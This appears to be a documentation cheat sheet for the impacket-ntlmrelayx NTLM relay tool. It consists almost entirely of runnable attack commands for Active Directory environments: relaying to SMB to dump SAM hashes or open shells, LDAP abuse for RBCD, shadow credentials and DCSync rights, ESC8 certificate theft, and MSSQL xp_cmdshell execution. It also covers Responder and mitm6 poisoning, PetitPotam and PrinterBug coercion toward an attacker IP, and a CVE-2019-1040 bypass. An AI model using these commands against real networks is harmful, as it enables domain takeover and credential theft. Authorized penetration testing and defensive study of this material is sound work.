> ## Documentation Index > Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt > Use this file to discover all available pages before exploring further. # impacket-ntlmrelayx > NTLM relay attack framework: relay captured authentication to SMB, LDAP, AD CS, MSSQL. Covers RBCD, shadow credentials, ESC8, SOCKS proxy, and integration with Responder, PetitPotam, and mitm6. ## Overview `ntlmrelayx` intercepts NTLM authentication and relays it to a target service, executing actions with the victim's privileges. It does not crack passwords — it forwards the live authentication handshake to a different host. Works against targets where **SMB signing is not required** (for SMB relay) or where LDAP/HTTP/MSSQL accept NTLM. ```bash theme={"dark"} # Install pip install impacket # Or from source git clone https://github.com/fortra/impacket && cd impacket && pip install . ``` *** ## Enumerate Relay Targets Before relaying, identify hosts that do not require SMB signing. ```bash theme={"dark"} # NetExec — generate relay target list nxc smb 10.10.10.0/24 --gen-relay-list targets.txt # Targets with SMB signing disabled/not required end up in targets.txt cat targets.txt ``` *** ## Basic Relay to SMB Relay captured NTLM auth to SMB on another host. Dumps SAM hashes by default if the relayed user is a local admin. ```bash theme={"dark"} # Dump SAM (default action) impacket-ntlmrelayx -tf targets.txt -smb2support # Execute a command instead impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami > C:\temp\pwned.txt" # Get an interactive SMB shell impacket-ntlmrelayx -tf targets.txt -smb2support -i # Relay to a single target impacket-ntlmrelayx -t smb://10.10.10.5 -smb2support ``` *** ## Relay to LDAP Relaying to LDAP allows domain-level attacks: creating machine accounts, setting RBCD, writing shadow credentials, or modifying ACLs. Requires the relayed account to have the necessary privileges (e.g., domain admin, or any user if `ms-DS-MachineAccountQuota > 0`). ### Add a Computer Account ```bash theme={"dark"} impacket-ntlmrelayx -t ldap://DC01.corp.local --add-computer FAKEPC$ 'P@ssw0rd!' ``` ### Resource-Based Constrained Delegation (RBCD) Write `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target so your controlled computer can impersonate any user to the target. ```bash theme={"dark"} # Step 1: Relay to LDAP and set RBCD on the target machine impacket-ntlmrelayx -t ldap://DC01.corp.local --delegate-access --escalate-user FAKEPC$ # Step 2: Request a service ticket via S4U impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator -dc-ip 10.10.10.1 'corp.local/FAKEPC$:P@ssw0rd!' # Step 3: Use the ticket export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache impacket-psexec -k -no-pass TARGET.corp.local ``` ### Shadow Credentials Write `msDS-KeyCredentialLink` to obtain a certificate for the relayed machine account, then request a TGT. ```bash theme={"dark"} impacket-ntlmrelayx -t ldap://DC01.corp.local --shadow-credentials --shadow-target TARGET$ ``` ### ACL Abuse (Escalate User) Grant a controlled user DCSync or other privileges. ```bash theme={"dark"} # Grant DCSync rights to a controlled user impacket-ntlmrelayx -t ldap://DC01.corp.local --escalate-user lowprivuser ``` *** ## Relay to AD CS (ESC8) If AD CS has the HTTP enrollment endpoint enabled, relay NTLM auth to request a certificate as the victim. ```bash theme={"dark"} # Relay to the CA web enrollment endpoint impacket-ntlmrelayx -t http://CA01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # For a machine account certificate (combine with PetitPotam) impacket-ntlmrelayx -t http://CA01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template Machine ``` Use the resulting Base64 certificate with `certipy` or `impacket-getTGT`: ```bash theme={"dark"} # Authenticate with the certificate certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1 ``` *** ## Relay to MSSQL Execute SQL queries through a relayed NTLM session. ```bash theme={"dark"} # Execute a query impacket-ntlmrelayx -t mssql://10.10.10.20 -smb2support -q "SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');" # Enable xp_cmdshell and run OS command impacket-ntlmrelayx -t mssql://10.10.10.20 -smb2support -q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';" ``` *** ## Targets File (-tf) The targets file supports protocols and multiple hosts. ```text theme={"dark"} smb://10.10.10.5 smb://10.10.10.6 ldap://DC01.corp.local ldaps://DC01.corp.local http://CA01.corp.local/certsrv/certfnsh.asp mssql://10.10.10.20 ``` ```bash theme={"dark"} impacket-ntlmrelayx -tf targets.txt -smb2support ``` *** ## Combine with Responder Responder poisons LLMNR/NBT-NS/mDNS to capture NTLM authentication. Disable SMB and HTTP in Responder so ntlmrelayx receives the connections instead. ```bash theme={"dark"} # Edit Responder config — disable SMB and HTTP servers # /etc/responder/Responder.conf (or /usr/share/responder/Responder.conf) # SMB = Off # HTTP = Off # Start Responder (poisoning only) sudo responder -I eth0 -dwPv # In another terminal — start ntlmrelayx impacket-ntlmrelayx -tf targets.txt -smb2support ``` *** ## Combine with PetitPotam / PrinterBug Coerce a machine account to authenticate to your relay server. Machine account auth is useful for RBCD, shadow credentials, and AD CS attacks. ### PetitPotam (MS-EFSRPC) ```bash theme={"dark"} # Coerce DC01 to authenticate to your relay listener python3 PetitPotam.py ATTACKER_IP DC01.corp.local # ntlmrelayx catches DC01$ machine account authentication impacket-ntlmrelayx -t ldap://DC02.corp.local --delegate-access --escalate-user FAKEPC$ # Or relay to AD CS impacket-ntlmrelayx -t http://CA01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController ``` ### PrinterBug (MS-RPRN) ```bash theme={"dark"} # Coerce target to authenticate back to attacker python3 dementor.py ATTACKER_IP TARGET.corp.local -u user -p pass -d corp.local # Or with SpoolSample SpoolSample.exe TARGET.corp.local ATTACKER_IP ``` *** ## SOCKS Proxy Mode Keep relayed sessions alive and interact with them through a SOCKS proxy. Useful for maintaining access across multiple relayed sessions. ```bash theme={"dark"} # Start ntlmrelayx in SOCKS mode impacket-ntlmrelayx -tf targets.txt -smb2support -socks # List active sessions in the ntlmrelayx console ntlmrelayx> socks # Use proxychains with the SOCKS proxy (default port 1080) # /etc/proxychains.conf: socks4 127.0.0.1 1080 proxychains impacket-secretsdump corp.local/relayeduser@10.10.10.5 proxychains impacket-smbclient //10.10.10.5/C$ -no-pass proxychains nxc smb 10.10.10.5 -u relayeduser -p '' -d corp.local --sam ``` *** ## IPv6 Attack with mitm6 mitm6 poisons DHCPv6 and DNS to redirect NTLM auth from IPv6-enabled Windows hosts. ```bash theme={"dark"} # Terminal 1: Start mitm6 sudo mitm6 -d corp.local # Terminal 2: Start ntlmrelayx targeting LDAP impacket-ntlmrelayx -6 -t ldaps://DC01.corp.local -wh wpad.corp.local --delegate-access --add-computer ``` The `-6` flag enables IPv6 listening. The `-wh` flag sets up a WPAD server to trigger proxy authentication. *** ## Remove MIC (CVE-2019-1040) The Message Integrity Code (MIC) prevents relay modification. Removing it bypasses this protection on unpatched targets. ```bash theme={"dark"} impacket-ntlmrelayx -t ldap://DC01.corp.local --remove-mic --escalate-user lowprivuser ``` This drops the MIC from the NTLM `AUTHENTICATE_MESSAGE`, allowing the relay to succeed against targets vulnerable to CVE-2019-1040 (pre-June 2019 patches). *** ## Quick Reference | Task | Command | | ---------------------------- | --------------------------------------------------------------------------------- | | Relay to SMB (dump SAM) | `impacket-ntlmrelayx -tf targets.txt -smb2support` | | Relay to SMB (exec command) | `impacket-ntlmrelayx -t smb://HOST -c "cmd"` | | Relay to LDAP (add computer) | `impacket-ntlmrelayx -t ldap://DC --add-computer` | | Relay to LDAP (RBCD) | `impacket-ntlmrelayx -t ldap://DC --delegate-access --escalate-user PC$` | | Relay to LDAP (shadow creds) | `impacket-ntlmrelayx -t ldap://DC --shadow-credentials --shadow-target TARGET$` | | Relay to AD CS (ESC8) | `impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template Machine` | | Relay to MSSQL | `impacket-ntlmrelayx -t mssql://HOST -q "SELECT SYSTEM_USER"` | | SOCKS mode | `impacket-ntlmrelayx -tf targets.txt -socks` | | IPv6 + LDAP relay | `impacket-ntlmrelayx -6 -t ldaps://DC -wh wpad.corp.local` | | Remove MIC (CVE-2019-1040) | `impacket-ntlmrelayx -t ldap://DC --remove-mic` | | Gen relay targets (nxc) | `nxc smb SUBNET --gen-relay-list targets.txt` |